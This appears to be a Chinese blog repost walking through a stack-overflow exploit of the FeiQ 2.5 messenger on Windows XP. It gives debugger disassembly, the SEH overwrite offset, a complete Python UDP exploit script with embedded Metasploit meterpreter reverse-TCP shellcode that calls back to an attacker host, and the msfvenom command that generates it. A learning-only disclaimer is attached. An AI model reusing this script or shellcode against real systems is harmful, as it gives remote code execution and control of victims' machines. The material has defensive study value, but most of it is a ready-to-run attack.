飞秋0day漏洞复现,详细代码及过程

2023-11-05 14:30

本文主要是介绍飞秋0day漏洞复现,详细代码及过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

声明:此实验仅供学习使用,严禁用作他用,否则后果自

目录

声明:此实验仅供学习使用,严禁用作他用,否则后果自

一、实验环境

windows xp 安装ollydbg用以调试使用    飞秋2.5:目标软件

kali 安装Python3

二、实验原理

POC:1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....

溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:

三、实施攻击

下面是完整的攻击代码

①winxp上运行飞秋2.5版本

②使用msf生成代码,kali上开启监听

③将python脚本上的shellcode替换成自己生成的shellcode

④使用Python执行脚本文件,可以看到winxp上的飞秋崩溃,此时再看kali上的监听,显示meterprete证明渗透成功


一、实验环境

windows xp 安装ollydbg用以调试使用    飞秋2.5:目标软件
kali 安装Python3

二、实验原理

利用栈溢出漏洞,改写she链条中的指向,执行恶意代码。

POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....

使用olldbg打开飞秋2.5程序,在指令窗口定位到溢出代码,调试定位到出现bug时的代码:

0049061C  |. /EB 2E         jmp     short 0049064C
0049061E  |> |81FB FF3F0000 cmp     ebx, 3FFF
00490624  |. |B8 FF3F0000   mov     eax, 3FFF
00490629  |. |7F 02         jg      short 0049062D
0049062B  |. |8BC3          mov     eax, ebx
0049062D  |> |8B7424 20     mov     esi, dword ptr [esp+20]
00490631  |. |8BC8          mov     ecx, eax
00490633  |. |8BD9          mov     ebx, ecx
00490635  |. |C1E9 02       shr     ecx, 2
00490638  |. |F3:A5         rep     movs dword ptr es:[edi], dword p>;  //这里是溢出点,拷贝时发生溢出错误
0049063A  |. |8BCB          mov     ecx, ebx
0049063C  |. |8B5C24 2C     mov     ebx, dword ptr [esp+2C]
00490640  |. |83E1 03       and     ecx, 3
00490643  |. |40            inc     eax

溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:

0011F498   飞秋FeiQ.00589B89

0012D5F4   飞秋FeiQ.00593AA7
0012D678   飞秋FeiQ.00595644
0012D728   USER32.77D4048F
0012D788   USER32.77D4048F
0012D80C   飞秋FeiQ.005955B4
0012FF08   飞秋FeiQ.00586673
0012FFB0   飞秋FeiQ.00555990
0012FFE0   kernel32.7C839AD8

堆栈值>123670(拷贝的第一个EDI地址)的第一个SEH链为0012D5F4,进去看具体堆栈:
0012D5F0   0050F55F  返回到 飞秋FeiQ.0050F55F 来自 飞秋FeiQ.00550870
0012D5F4   0012D678  指向下一个 SEH 记录的指针
0012D5F8   00593AA7  SE处理程序
0012D5FC   FFFFFFFF

初步构思淹没SEH指针和处理程序,从而能执行到自己的shellcode,构思结果如下:
0012D5F4   06EB06EB   指向下一个 SEH 记录的指针,这里更改为相当于jmp +4,跳到0012D5FC执行shellcode
0012D5F8   7FFA1571   SE处理程序。7FFA1571指向pop,pop,ret,当然也可以用任意一个程序中的pop,pop,ret代码,但这个是经典的POP,POP,RET地址,在winXP SP1,SP2,SP3应该是通用
0012D5FC   0089E8FC   以下的代码用来放shellcode
0012D600   89600000
0012D604   64D231E5
0012D608   8B30528B
0012D60C   528B0C52

三、实施攻击

首先需计算偏移,使其能正确淹没SEH地址。在这个例子中,计算偏移的方法比较简单,可直接利用artake提供的POC程序定位:当数据刚好淹没到0012D5F8时,此时ESI数据位:1294A9,而数据开始地址为1277BB,则1294A9 - 1277BB = 1CEE。也就是说数据偏移0X1CEE处即应为数据06EB06EB(jmp +4)。

下面是完整的攻击代码

########## Begin ##########
import socket
import time
import syssize =0x1cee #0x1cee 就是整数的7406while True:try:print("程序开始!!![*]",size)s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#使用udp套接字s.bind(("",9990))#绑定此脚本使用端口buf = b"A"*sizea=b'1_lbt4_0#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:DESTTOP-1NSILG1:0:' #poc代码不能改b=b"\xeb\x06\xeb\x06\x71\x15\xfa\x7f"  #pop pop ret 代码c=b"\x00"# 此处shellcode使用kali的msf生成,坏字符只有\x00,已排除。这个shellcode的lhost为192.168.11.128 lport为4444,使用的# payload的为windows/meterpreter/reserve_tcp shellcode = (b"\xdd\xc4\xba\x60\x62\x49\x7f\xd9\x74\x24\xf4\x5f\x2b\xc9"b"\xb1\x59\x31\x57\x19\x03\x57\x19\x83\xef\xfc\x82\x97\xb5"b"\x97\xcd\x58\x46\x68\xb1\x69\x94\x0c\xba\xd8\x28\x46\xee"b"\xd0\xc3\x0a\x1a\x60\x36\x9b\xdd\x7d\x0e\x96\x07\x09\x02"b"\x0f\x76\xcd\x4f\x73\x19\xb1\x8d\xa0\xf9\x88\x5d\xb5\xf8"b"\xcd\x2b\xb3\x15\x83\xfc\xb0\xbb\x34\x88\x85\x07\x34\x5e"b"\x82\x37\x4e\xdb\x55\xc3\xe2\xe2\x85\x7b\x70\xac\x3d\xf0"b"\xde\x0d\x3f\xd5\x5a\x84\x4b\xe5\x2d\x26\x4b\x9e\x9a\xc3"b"\xb2\x76\xd3\x13\x75\xb9\x19\x38\x77\x82\x1a\xa0\x0d\xf8"b"\x58\x5d\x16\x3b\x22\xb9\x93\xdb\x84\x4a\x03\x3f\x34\x9e"b"\xd2\xb4\x3a\x6b\x90\x92\x5e\x6a\x75\xa9\x5b\xe7\x78\x7d"b"\xea\xb3\x5e\x59\xb6\x60\xfe\xf8\x12\xc6\xff\x1a\xfa\xb7"b"\xa5\x51\xe9\xae\xda\x9a\xf1\xce\x86\x0c\x3d\x03\x39\xcc"b"\x29\x14\x4a\xfe\xf6\x8e\xc4\xb2\x7f\x09\x12\xc3\x68\xaa"b"\xcc\x6b\xf8\x54\xed\x8b\xd0\x92\xb9\xdb\x4a\x32\xc2\xb0"b"\x8a\xbb\x17\x2c\x81\x2b\x58\x18\x9e\x2b\x30\x5a\xa1\x3a"b"\x9d\xd3\x47\x6c\x4d\xb3\xd7\xcd\x3d\x73\x88\xa5\x57\x7c"b"\xf7\xd6\x57\x57\x90\x7d\xb8\x01\xc8\xe9\x21\x08\x82\x88"b"\xae\x87\xee\x8b\x25\x2d\x0e\x45\xce\x44\x1c\xb2\xa9\xa6"b"\xdc\x43\x5c\xa6\xb6\x47\xf6\xf1\x2e\x4a\x2f\x35\xf1\xb5"b"\x1a\x46\xf6\x4a\xdb\x7e\x8c\x7d\x49\x3e\xfa\x81\x9d\xbe"b"\xfa\xd7\xf7\xbe\x92\x8f\xa3\xed\x87\xcf\x79\x82\x1b\x5a"b"\x82\xf2\xc8\xcd\xea\xf8\x37\x39\xb5\x03\x12\x39\xb2\xfb"b"\xe0\x16\x1b\x93\x1a\x27\x9b\x63\x71\xa7\xcb\x0b\x8e\x88"b"\xe4\xfb\x6f\x03\xad\x93\xfa\xc2\x1f\x02\xfa\xce\xfe\x9a"b"\xfb\xfd\xda\x2d\x81\x8e\xdd\xce\x76\x87\xb9\xcf\x76\xa7"b"\xbf\xec\xa0\x9e\xb5\x33\x71\xa5\xc6\x06\xd4\x8c\x4c\x68"b"\x4a\xce\x44")buf=a+buf+b+shellcode# 此处指向的IP即为要攻击的地址IP,可任意更改,2425端口是飞秋固定端口不能更改s.sendto(buf,('192.168.11.5',2425))# 测试通联情况用recv,dis=s.recvfrom(1024)print(recv,dis)time.sleep(3)print("程序结束")except:print("\nerror!!!!!!!!!!!")sys.exit()

下面是完整演示图片

①winxp上运行飞秋2.5版本

②使用msf生成代码,kali上开启监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.11.128 lport=4444 -b "\x00" -e x86/shikata_ga_nai -f c

③将python脚本上的shellcode替换成自己生成的shellcode
④使用Python执行脚本文件,可以看到winxp上的飞秋崩溃,此时再看kali上的监听,显示meterprete证明渗透成功

 

这篇关于飞秋0day漏洞复现,详细代码及过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/350465

相关文章

将Mybatis升级为Mybatis-Plus的详细过程

《将Mybatis升级为Mybatis-Plus的详细过程》本文详细介绍了在若依管理系统(v3.8.8)中将MyBatis升级为MyBatis-Plus的过程,旨在提升开发效率,通过本文,开发者可实现... 目录说明流程增加依赖修改配置文件注释掉MyBATisConfig里面的Bean代码生成使用IDEA生

Linux系统配置NAT网络模式的详细步骤(附图文)

《Linux系统配置NAT网络模式的详细步骤(附图文)》本文详细指导如何在VMware环境下配置NAT网络模式,包括设置主机和虚拟机的IP地址、网关,以及针对Linux和Windows系统的具体步骤,... 目录一、配置NAT网络模式二、设置虚拟机交换机网关2.1 打开虚拟机2.2 管理员授权2.3 设置子

springboot循环依赖问题案例代码及解决办法

《springboot循环依赖问题案例代码及解决办法》在SpringBoot中,如果两个或多个Bean之间存在循环依赖(即BeanA依赖BeanB,而BeanB又依赖BeanA),会导致Spring的... 目录1. 什么是循环依赖?2. 循环依赖的场景案例3. 解决循环依赖的常见方法方法 1:使用 @La

使用C#代码在PDF文档中添加、删除和替换图片

《使用C#代码在PDF文档中添加、删除和替换图片》在当今数字化文档处理场景中,动态操作PDF文档中的图像已成为企业级应用开发的核心需求之一,本文将介绍如何在.NET平台使用C#代码在PDF文档中添加、... 目录引言用C#添加图片到PDF文档用C#删除PDF文档中的图片用C#替换PDF文档中的图片引言在当

Linux系统中卸载与安装JDK的详细教程

《Linux系统中卸载与安装JDK的详细教程》本文详细介绍了如何在Linux系统中通过Xshell和Xftp工具连接与传输文件,然后进行JDK的安装与卸载,安装步骤包括连接Linux、传输JDK安装包... 目录1、卸载1.1 linux删除自带的JDK1.2 Linux上卸载自己安装的JDK2、安装2.1

C#使用SQLite进行大数据量高效处理的代码示例

《C#使用SQLite进行大数据量高效处理的代码示例》在软件开发中,高效处理大数据量是一个常见且具有挑战性的任务,SQLite因其零配置、嵌入式、跨平台的特性,成为许多开发者的首选数据库,本文将深入探... 目录前言准备工作数据实体核心技术批量插入:从乌龟到猎豹的蜕变分页查询:加载百万数据异步处理:拒绝界面

用js控制视频播放进度基本示例代码

《用js控制视频播放进度基本示例代码》写前端的时候,很多的时候是需要支持要网页视频播放的功能,下面这篇文章主要给大家介绍了关于用js控制视频播放进度的相关资料,文中通过代码介绍的非常详细,需要的朋友可... 目录前言html部分:JavaScript部分:注意:总结前言在javascript中控制视频播放

C# WinForms存储过程操作数据库的实例讲解

《C#WinForms存储过程操作数据库的实例讲解》:本文主要介绍C#WinForms存储过程操作数据库的实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、存储过程基础二、C# 调用流程1. 数据库连接配置2. 执行存储过程(增删改)3. 查询数据三、事务处

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

Java使用Curator进行ZooKeeper操作的详细教程

《Java使用Curator进行ZooKeeper操作的详细教程》ApacheCurator是一个基于ZooKeeper的Java客户端库,它极大地简化了使用ZooKeeper的开发工作,在分布式系统... 目录1、简述2、核心功能2.1 CuratorFramework2.2 Recipes3、示例实践3